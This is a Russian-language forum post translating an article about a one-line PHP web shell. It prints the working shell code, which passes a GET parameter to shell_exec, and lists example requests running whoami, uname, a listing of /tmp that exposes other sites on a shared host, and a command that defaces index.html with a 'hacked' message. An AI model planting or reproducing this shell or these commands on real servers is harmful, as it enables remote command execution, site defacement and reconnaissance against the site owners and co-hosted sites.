V
Valkiria
Сегодняшнее ознакомление с информацией на форуме привело меня к статье обСсылка скрыта от гостей.
Для лучшего усвоения, мысли автора пришлось перевести.
Возможно, кого-то заинтересует переводСсылка скрыта от гостей.
Некоторое время назад, на неделе безопасности
Ссылка скрыта от гостей
, я слышал, как кто-то что-то упоминал об однострочном PHP-скрипте, по сути представляющем собою Shell. Я предположил, что написание такого скрипта не составит особого труда, поскольку он представляет собою всего одну строку. Поиск информации в Гугле не принёс больших результатов, возможно потому, что это слишком легко, или я использовал неправильные условия поиска. В любом случае, я забыл о скрипте на некоторое время... до сих пор.Поскольку в настоящее время я изучаю PHP, меня интересует безопасность Web-приложений.
Обучение пока не закончено, но сегодня (при чтении о том, как вводить данные, прежде чем использовать “include”) я вспомнил об использовании однострочного PHP-скрипта.
Вот что у меня получилось:
Код:
<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
Очевидно, web-приложение должно быть в некотором роде уязвимым, чтобы имелась возможность поместить этот сценарий на сервер. Как только уязвимость будет найдена, скрипт потенциально может быть использован для взлома сайта или создания его дампа.
Выходные данные скрипта -это просто текст, а не документ HTML. Поэтому, если вы используете веб-браузер, для просмотра результата необходимо смотреть исходный код страницы.
Я использовал shell_exec() вместо Just exec (), потому что он возвращает каждую строку вместо последней. Альтернативой является использование passthru (), который также будет отправлять двоичные данные. Но, чтобы получить и правильно работать с двоичными данными, придется также установить заголовки, что делает скрипт многострочным.
Я смог запустить команды unix (команды windows также должны работать, если хост работает под управлением windows) такие как:
- shell.php?e=whoami
- shell.php?e=pwd
- shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
- shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
- shell?e=ls%20-l%20/tmp
Последняя команда даже показала мне некоторые файлы и их владельцев, которые в свою очередь (так как я использую общий хост) подсказали мне имена некоторых других сайтов, которые работают на том же сервере, что и мой, что явилось для меня неожиданным “бонусом”.
Последнее редактирование модератором: